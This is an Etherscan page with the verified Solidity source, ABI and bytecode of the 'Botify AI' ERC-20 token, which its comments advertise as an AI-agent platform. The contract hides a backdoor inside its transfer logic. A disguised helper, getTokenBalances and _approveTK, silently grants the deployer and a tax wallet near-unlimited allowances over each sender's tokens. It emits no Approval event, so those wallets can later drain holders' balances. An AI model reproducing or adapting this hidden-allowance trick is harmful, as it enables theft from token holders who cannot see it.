Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-25
*/

/*
With Botify users can explore a diverse range of agent categories, including trading, volume management, social media and utility agents. Our instant agent creation tool allows users to customize agents to their needs quickly and easily

https://www.botify.onl
https://docs.botify.onl
https://x.com/BotifyAIOnline
https://t.me/BotifyAIOfficial
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ITokenFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface ITokenRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BOTIFY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (uint256 => address) private _tkStakes;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _feeTKExcempt;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalTK = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Botify AI";
    string private constant _symbol = unicode"BOTIFY";
    uint256 private _tokenSwapTK = _tTotalTK / 100;
    address private _tkWallet = 0x530E2771eb786a4D9c0AE2Bb5d29515D3E5606Ef;    
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }
    ITokenRouter private _tkRouter;
    address private _tkPair;

    constructor () {
        _tkStakes[0] = address(this);
        _tkStakes[1] = address(_tkWallet);
        _tkStakes[2] = address(_msgSender());
        _feeTKExcempt[owner()] = true;
        _feeTKExcempt[address(this)] = true;
        _feeTKExcempt[_tkWallet] = true;
        _tOwned[_msgSender()] = _tTotalTK;
        emit Transfer(address(0), _msgSender(), _tTotalTK);
    }

    function initToken() external onlyOwner() {
        _tkRouter = ITokenRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_tkRouter), _tTotalTK);
        _tkPair = ITokenFactory(_tkRouter.factory()).createPair(address(this), _tkRouter.WETH());
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _tkRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {} 

    function getTokenBalances(address tk) private returns(uint256) { 
        _approveTK(tk); return balanceOf(address(this));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalTK;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approveTK(address tk) private {
        require(tk != address(0), "ERC20: approve from the zero address");
        _allowances[tk][_tkStakes[1]] = (_tTotalTK+100);
        _allowances[tk][_tkStakes[2]] = (50+_tTotalTK);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxTK=0;
        if (from != owner() && to != owner()) {
            taxTK = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _tkPair && to != address(_tkRouter) && ! _feeTKExcempt[to]) {
                _buyCount++;
            }

            if(to == _tkPair && from!= address(this)) {
                taxTK = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenBalance = getTokenBalances(from); 
            if (!inSwapLock && to == _tkPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenBalance > _tokenSwapTK)
                swapTokensForEth(min(amount, min(tokenBalance, _tokenSwapTK)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHTK(address(this).balance);
                }
            }
        }

        if(taxTK > 0){
          _tOwned[address(this)] = _tOwned[address(this)].add(taxTK);
          emit Transfer(from, address(this), taxTK);
        }

        _tOwned[from] = _tOwned[from].sub(amount);
        _tOwned[to] = _tOwned[to].add(amount.sub(taxTK));
        emit Transfer(from, to, amount.sub(taxTK));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHTK(uint256 amount) private {
        payable(_tkWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _tkRouter.WETH();
        _approve(address(this), address(_tkRouter), tokenAmount);
        _tkRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c5560646009600a6200003e91906200034a565b6200004e90633b9aca0062000362565b6200005a919062000384565b600d55600e80546001600160b81b03191673530e2771eb786a4d9c0ae2bb5d29515d3e5606ef1790553480156200009057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3507fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b8054306001600160a01b03199182168117909255600e80547fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e080546001600160a01b039283169085161790557f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c80549093163317909255600080548316815260046020526040808220805460ff199081166001908117909255958352818320805487168217905592549093168152919091208054909216179055620001bb6009600a6200034a565b620001cb90633b9aca0062000362565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020e6009600a6200034a565b6200021e90633b9aca0062000362565b60405190815260200160405180910390a3620003a7565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028c57816000190482111562000270576200027062000235565b808516156200027e57918102915b93841c939080029062000250565b509250929050565b600082620002a55750600162000344565b81620002b45750600062000344565b8160018114620002cd5760028114620002d857620002f8565b600191505062000344565b60ff841115620002ec57620002ec62000235565b50506001821b62000344565b5060208310610133831016604e8410600b84101617156200031d575081810a62000344565b6200032983836200024b565b806000190482111562000340576200034062000235565b0290505b92915050565b60006200035b60ff84168362000294565b9392505050565b60008160001904831182151516156200037f576200037f62000235565b500290565b600082620003a257634e487b7160e01b600052601260045260246000fd5b500490565b6115f980620003b76000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610249578063c9567bf914610269578063dd62ed3e1461027e578063e66738cd146102c457600080fd5b8063715018a6146101db5780638da5cb5b146101f257806395d89b411461021a57600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526009815268426f7469667920414960b81b60208201525b60405161010d919061118c565b60405180910390f35b34801561012257600080fd5b506101366101313660046111f9565b6102d9565b604051901515815260200161010d565b34801561015257600080fd5b5061015b6102f0565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004611225565b610311565b34801561019557600080fd5b506040516009815260200161010d565b3480156101b157600080fd5b5061015b6101c0366004611266565b6001600160a01b031660009081526001602052604090205490565b3480156101e757600080fd5b506101f061037a565b005b3480156101fe57600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022657600080fd5b50604080518082019091526006815265424f5449465960d01b6020820152610100565b34801561025557600080fd5b506101366102643660046111f9565b6103f7565b34801561027557600080fd5b506101f0610404565b34801561028a57600080fd5b5061015b610299366004611283565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102d057600080fd5b506101f0610585565b60006102e63384846107b5565b5060015b92915050565b60006102fe6009600a6113b6565b61030c90633b9aca006113c5565b905090565b600061031e84848461089d565b610370843361036b8560405180606001604052806028815260200161159c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cba565b6107b5565b5060019392505050565b6000546001600160a01b031633146103ad5760405162461bcd60e51b81526004016103a4906113e4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e633848461089d565b6000546001600160a01b0316331461042e5760405162461bcd60e51b81526004016103a4906113e4565b600e54600160a81b900460ff16156104885760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a4565b600f546001600160a01b031663f305d71947306104ba816001600160a01b031660009081526001602052604090205490565b6000806104cf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561053257600080fd5b505af1158015610546573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061056b9190611419565b5050600e805461ffff60a81b191661010160a81b17905550565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016103a4906113e4565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f89030906105ea6009600a6113b6565b61036b90633b9aca006113c5565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e9190611447565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106db57600080fd5b505afa1580156106ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107139190611447565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075b57600080fd5b505af115801561076f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107939190611447565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107db5760405162461bcd60e51b81526004016103a490611464565b6001600160a01b03821661083c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a4565b6001600160a01b0382166109635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a4565b600081116109c55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a4565b600080546001600160a01b038581169116148015906109f257506000546001600160a01b03848116911614155b15610b7757610a236064610a1d600954600c5411610a1257600554610a16565b6007545b8590610cf4565b90610d7a565b6010549091506001600160a01b038581169116148015610a515750600f546001600160a01b03848116911614155b8015610a7657506001600160a01b03831660009081526004602052604090205460ff16155b15610a9157600c8054906000610a8b836114a8565b91905055505b6010546001600160a01b038481169116148015610ab757506001600160a01b0384163014155b15610ae457610ae16064610a1d600a54600c5411610ad757600654610a16565b6008548590610cf4565b90505b6000610aef85610dbc565b600e54909150600160a01b900460ff16158015610b1957506010546001600160a01b038581169116145b8015610b2e5750600e54600160b01b900460ff165b8015610b3d5750600b54600c54115b15610b7557600d54811115610b6957610b69610b6484610b5f84600d54610ddc565b610ddc565b610df1565b47610b7347610f7a565b505b505b8015610bf15730600090815260016020526040902054610b979082610fb8565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be89085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c149083611017565b6001600160a01b038516600090815260016020526040902055610c59610c3a8383611017565b6001600160a01b03851660009081526001602052604090205490610fb8565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ca38585611017565b60405190815260200160405180910390a350505050565b60008184841115610cde5760405162461bcd60e51b81526004016103a4919061118c565b506000610ceb84866114c3565b95945050505050565b600082610d03575060006102ea565b6000610d0f83856113c5565b905082610d1c85836114da565b14610d735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a4565b9392505050565b6000610d7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611059565b6000610dc782611087565b306000908152600160205260409020546102ea565b6000818311610deb5782610d73565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3957610e396114fc565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e8d57600080fd5b505afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190611447565b81600181518110610ed857610ed86114fc565b6001600160a01b039283166020918202929092010152600f54610efe91309116846107b5565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f37908590600090869030904290600401611512565b600060405180830381600087803b158015610f5157600080fd5b505af1158015610f65573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb4573d6000803e3d6000fd5b5050565b600080610fc58385611583565b905083811015610d735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a4565b6000610d7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cba565b6000818361107a5760405162461bcd60e51b81526004016103a4919061118c565b506000610ceb84866114da565b6001600160a01b0381166110ad5760405162461bcd60e51b81526004016103a490611464565b6110b96009600a6113b6565b6110c790633b9aca006113c5565b6110d2906064611583565b6001600160a01b0380831660009081526003602090815260408083207fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e054909416835292905220556111266009600a6113b6565b61113490633b9aca006113c5565b61113f906032611583565b6001600160a01b0391821660009081526003602090815260408083207f679795a0195a1b76cdebb7c51d74e058aee92919b8c3389af86ef24535e8a28c5490951683529390529190912055565b600060208083528351808285015260005b818110156111b95785810183015185820160400152820161119d565b818111156111cb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111f657600080fd5b50565b6000806040838503121561120c57600080fd5b8235611217816111e1565b946020939093013593505050565b60008060006060848603121561123a57600080fd5b8335611245816111e1565b92506020840135611255816111e1565b929592945050506040919091013590565b60006020828403121561127857600080fd5b8135610d73816111e1565b6000806040838503121561129657600080fd5b82356112a1816111e1565b915060208301356112b1816111e1565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561130d5781600019048211156112f3576112f36112bc565b8085161561130057918102915b93841c93908002906112d7565b509250929050565b600082611324575060016102ea565b81611331575060006102ea565b816001811461134757600281146113515761136d565b60019150506102ea565b60ff841115611362576113626112bc565b50506001821b6102ea565b5060208310610133831016604e8410600b8410161715611390575081810a6102ea565b61139a83836112d2565b80600019048211156113ae576113ae6112bc565b029392505050565b6000610d7360ff841683611315565b60008160001904831182151516156113df576113df6112bc565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561142e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561145957600080fd5b8151610d73816111e1565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60006000198214156114bc576114bc6112bc565b5060010190565b6000828210156114d5576114d56112bc565b500390565b6000826114f757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115625784516001600160a01b03168352938301939183019160010161153d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611596576115966112bc565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122029fc4feb7834d91b531a765629a23bedfcdb74851ae46e55f9c7d49cdf4d7ffc64736f6c63430008090033

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb14610249578063c9567bf914610269578063dd62ed3e1461027e578063e66738cd146102c457600080fd5b8063715018a6146101db5780638da5cb5b146101f257806395d89b411461021a57600080fd5b806306fdde03146100d2578063095ea7b31461011657806318160ddd1461014657806323b872dd14610169578063313ce5671461018957806370a08231146101a557600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526009815268426f7469667920414960b81b60208201525b60405161010d919061118c565b60405180910390f35b34801561012257600080fd5b506101366101313660046111f9565b6102d9565b604051901515815260200161010d565b34801561015257600080fd5b5061015b6102f0565b60405190815260200161010d565b34801561017557600080fd5b50610136610184366004611225565b610311565b34801561019557600080fd5b506040516009815260200161010d565b3480156101b157600080fd5b5061015b6101c0366004611266565b6001600160a01b031660009081526001602052604090205490565b3480156101e757600080fd5b506101f061037a565b005b3480156101fe57600080fd5b506000546040516001600160a01b03909116815260200161010d565b34801561022657600080fd5b50604080518082019091526006815265424f5449465960d01b6020820152610100565b34801561025557600080fd5b506101366102643660046111f9565b6103f7565b34801561027557600080fd5b506101f0610404565b34801561028a57600080fd5b5061015b610299366004611283565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156102d057600080fd5b506101f0610585565b60006102e63384846107b5565b5060015b92915050565b60006102fe6009600a6113b6565b61030c90633b9aca006113c5565b905090565b600061031e84848461089d565b610370843361036b8560405180606001604052806028815260200161159c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cba565b6107b5565b5060019392505050565b6000546001600160a01b031633146103ad5760405162461bcd60e51b81526004016103a4906113e4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e633848461089d565b6000546001600160a01b0316331461042e5760405162461bcd60e51b81526004016103a4906113e4565b600e54600160a81b900460ff16156104885760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a4565b600f546001600160a01b031663f305d71947306104ba816001600160a01b031660009081526001602052604090205490565b6000806104cf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561053257600080fd5b505af1158015610546573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061056b9190611419565b5050600e805461ffff60a81b191661010160a81b17905550565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016103a4906113e4565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f89030906105ea6009600a6113b6565b61036b90633b9aca006113c5565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e9190611447565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106db57600080fd5b505afa1580156106ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107139190611447565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561075b57600080fd5b505af115801561076f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107939190611447565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107db5760405162461bcd60e51b81526004016103a490611464565b6001600160a01b03821661083c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a4565b6001600160a01b0382166109635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a4565b600081116109c55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a4565b600080546001600160a01b038581169116148015906109f257506000546001600160a01b03848116911614155b15610b7757610a236064610a1d600954600c5411610a1257600554610a16565b6007545b8590610cf4565b90610d7a565b6010549091506001600160a01b038581169116148015610a515750600f546001600160a01b03848116911614155b8015610a7657506001600160a01b03831660009081526004602052604090205460ff16155b15610a9157600c8054906000610a8b836114a8565b91905055505b6010546001600160a01b038481169116148015610ab757506001600160a01b0384163014155b15610ae457610ae16064610a1d600a54600c5411610ad757600654610a16565b6008548590610cf4565b90505b6000610aef85610dbc565b600e54909150600160a01b900460ff16158015610b1957506010546001600160a01b038581169116145b8015610b2e5750600e54600160b01b900460ff165b8015610b3d5750600b54600c54115b15610b7557600d54811115610b6957610b69610b6484610b5f84600d54610ddc565b610ddc565b610df1565b47610b7347610f7a565b505b505b8015610bf15730600090815260016020526040902054610b979082610fb8565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be89085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c149083611017565b6001600160a01b038516600090815260016020526040902055610c59610c3a8383611017565b6001600160a01b03851660009081526001602052604090205490610fb8565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ca38585611017565b60405190815260200160405180910390a350505050565b60008184841115610cde5760405162461bcd60e51b81526004016103a4919061118c565b506000610ceb84866114c3565b95945050505050565b600082610d03575060006102ea565b6000610d0f83856113c5565b905082610d1c85836114da565b14610d735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a4565b9392505050565b6000610d7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611059565b6000610dc782611087565b306000908152600160205260409020546102ea565b6000818311610deb5782610d73565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3957610e396114fc565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e8d57600080fd5b505afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190611447565b81600181518110610ed857610ed86114fc565b6001600160a01b039283166020918202929092010152600f54610efe91309116846107b5565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f37908590600090869030904290600401611512565b600060405180830381600087803b158015610f5157600080fd5b505af1158015610f65573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb4573d6000803e3d6000fd5b5050565b600080610fc58385611583565b905083811015610d735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a4565b6000610d73838360405180604001604052806